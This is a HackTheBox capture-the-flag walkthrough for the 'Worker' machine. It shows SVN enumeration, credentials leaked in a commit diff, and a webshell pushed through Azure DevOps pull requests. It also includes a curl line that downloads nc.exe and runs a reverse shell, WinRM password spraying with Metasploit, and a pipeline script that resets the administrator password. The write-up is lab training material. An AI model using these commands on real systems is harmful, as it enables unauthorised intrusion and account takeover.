HackTheBox - Worker

8 minute read

Worker was an interesting 30 point box created by ekenas that introduces some cool technologies such as SVN and Azure Devops.



A quick nmap scan reveals the following ports and services:

# nmap -sT --min-rate 3000 -p-

80/tcp   open  http
3690/tcp open  svn
5985/tcp open  wsman
# nmap -sV -sC -p 80,3690,5985                      

80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


Checking out we’re presented with the standard default IIS web page:


Apache Subversion is a software versioning and revision control system distributed as open source under the Apache License. Software developers use Subversion to maintain current and historical versions of files such as source code, web pages, and documentation.

We can query the SVN service running on the server using the svn command:

# svn info svn://
Path: .
URL: svn://
Relative URL: ^/
Repository Root: svn://
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)

Common commands such as cat and ls are also supported:

# svn ls svn://
# svn cat svn://
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

Checking out http://devops.worker.htb we’re prompted to login:

We obviously need credentials, let’s continue enumerating the SVN server:

# svn ls svn:// 

There appears to be a site running at dimension.worker.htb, I decided to see if there was anything interesing there. Clicking on the work tab presents you with the following page:

Each link will attempt to send you to a different subdomain, I downloaded the page with wget and grepped out the linked subdomains:

# cat index.html | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*" | sort -u

There’s not much to see on any of them, I did make note of them though as they may come in handy later on.


The svn log command shows log messages from the repository:

# svn log svn:// -v                                         
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Changed paths:                                               
   A /moved.txt                                                        
Added note that repo has been migrated                                      
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Changed paths:                                         
   D /deploy.ps1

deploy.ps1 stands out immediately, developers tend to make the mistake of hardcoding credentials in deployment scripts. We can view the changes made using the following command:

# svn diff svn:// -c 2
Index: deploy.ps1
--- deploy.ps1  (nonexistent)
+++ deploy.ps1  (revision 2)
@@ -0,0 +1,6 @@
+$user = "nathen" 
+$plain = "wendel98"
+$pwd = ($plain | ConvertTo-SecureString)
+$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
+$args = "Copy-Site.ps1"
+Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

We can see that credentials were added in order to run the Copy-Site.ps1 script.


With valid credentials we can now login to the devops.worker.htb portal:

Clicking on the SmartHotel360 project leads as to the overview page:

Checking out the Repos tab you can see all the repositories available to us within the portal, which appear to be for the subdomains we discovered earlier on the dimension.worker.htb subdomain:

However, if you attempt to upload a webshell to one you’ll be greeted with the following error message:

Webshell Upload

As we can’t just drop a webshell into a repo and access it on the site, the following steps are required:

1. Create new work item

Test Case will do fine, be sure to give it a name and then click Save & Close:

2. Create a new branch

Give it a name and select the work item you created in the last step from the Work items to link dropdown:

3. Upload webshell to new branch

I used the aspx webshell located at /usr/share/webshells/aspx/cmdasp.aspx on Kali and uploaded it to the repo:

4. Create a new pull request

Select the following link after uploading the webshell:

Leave the following as is and click Create:

5. Approve and Complete the pull request

Click the Approve button in the top right corner:

Once that’s done, click Complete and then Complete merge:

Webshell to Netcat

After finishing the previous steps the webshell will be available at your target subdomain, in this instance http://spectral.worker.htb/cmdasp.aspx:

Upgrading the webshell to a netcat reverse shell is trivial, serve the nc.exe binary:

# python3 -m http.server 80

Then use curl from the webshell to download and execute nc.exe:

curl -o C:\programdata\nc.exe && C:\programdata\nc.exe 443 -e cmd.exe

And listen for the incoming connection:

# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 50976
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

iis apppool\defaultapppool


Enumerating the file system and the availabe drives, you’ll come across a svnrepos directory:

c:\>fsutil fsinfo drives
fsutil fsinfo drives

Drives: C:\ W:\ 
 Volume in drive W is Work
 Volume Serial Number is E82A-AEA8

 Directory of W:\

2020-06-16  17:59    <DIR>          agents
2020-03-28  14:57    <DIR>          AzureDevOpsData
2020-04-03  10:31    <DIR>          sites
2020-06-20  15:04    <DIR>          svnrepos
               0 File(s)              0 bytes
               4 Dir(s)  18766782464 bytes free

The conf directory contained an interesting passwd file which contained numerous username and password combinations:

 Volume in drive W is Work
 Volume Serial Number is E82A-AEA8

 Directory of W:\svnrepos\www\conf

2020-06-20  14:30    <DIR>          .
2020-06-20  14:30    <DIR>          ..
2020-06-20  10:29             1112 authz
2020-06-20  10:29               904 hooks-env.tmpl
2020-06-20  14:27             1031 passwd
2020-04-04  19:51             4454 svnserve.conf
               4 File(s)          7501 bytes
               2 Dir(s)  18766782464 bytes free
W:\svnrepos\www\conf>type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

Password spraying

As crackmapexec wasn’t working (shock) I used the winrm_login metasploit module to see if any of the credential combinations succeed at logging into the winrm service on the host.

First I copied the username/password combinations into a creds file in vim, then removed the = on each line:


Running the module with the user/pass file option, we get a positive hit for robisl / wolves11:

msf6 auxiliary(scanner/winrm/winrm_login) > run

[!] No active DB -- Credential data will not be saved!
[-] - LOGIN FAILED: WORKSTATION\nathen:wendel98 (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\nichin:fqerfqerf (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\nichin:asifhiefh (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\noahip:player (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\nuahip:wkjdnw (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\oakhol:bxwdjhcue (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\owehol:supersecret (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\paihol:painfulcode (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\parhol:gitcommit (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\pathop:iliketomoveit (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\pauhor:nowayjose (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\payhos:icanjive (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\perhou:elvisisalive (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\peyhou:ineedvacation (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\phihou:pokemon (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\quehub:pickme (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\quihud:kindasecure (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\rachul:guesswho (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\raehun:idontknow (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\ramhun:thisis (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\ranhut:getting (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\rebhyd:rediculous (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\reeinc:iagree (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\reeing:tosomepoint (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\reiing:isthisenough (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\renipr:dummy (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\rhiire:users (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\riairv:canyou (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\ricisa:seewhich (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\robish:onesare (Incorrect: )
[+] - Login Successful: WORKSTATION\robisl:wolves11
[-] - LOGIN FAILED: WORKSTATION\robive:andwhich (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\ronkay:onesare (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\rubkei:the (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\rupkel:sheeps (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\ryakel:imtired (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\sabken:drjones (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\samken:aqua (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\sapket:hamburger (Incorrect: )
[-] - LOGIN FAILED: WORKSTATION\sarkil:friday (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Logging in via winrm we get the user flag:

# evil-winrm -i -u robisl -p wolves11

*Evil-WinRM* PS C:\Users\robisl\Documents> whoami

*Evil-WinRM* PS C:\Users\robisl\desktop> type user.txt


Devops PowerShell

Logging into the devops.worker.htb site as robisl you’ll be presented with the following page:

We can get code execution by creating a new Azure Pipeline and utilising a CmdLine task, using a YAML file to execute a system command of our choosing.

1. Create new Pipeline

In the left tab click on Pipeline then create a new Pipeline and select Azure Repos Git:

Then click the PartsUnlimited repo.

2. Starter Pipeline

At the next page scroll down and select Starter pipeline:

3. Review pipeline YAML

Add the following code into the YAML file:

- script: net user administrator P@ssword1!
  displayname: 'run a one line script'

Then click Save and run in the top right corner, then add new branch name and click Save and run again in the new window that pops up:


Once you’ve completed the previous steps you’ll be presented with the following window that confirms all tasks executed successfully:


We can simply login as administrator with the new password and get the root flag:

# evil-winrm -i -u administrator -p P@ssword1!

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt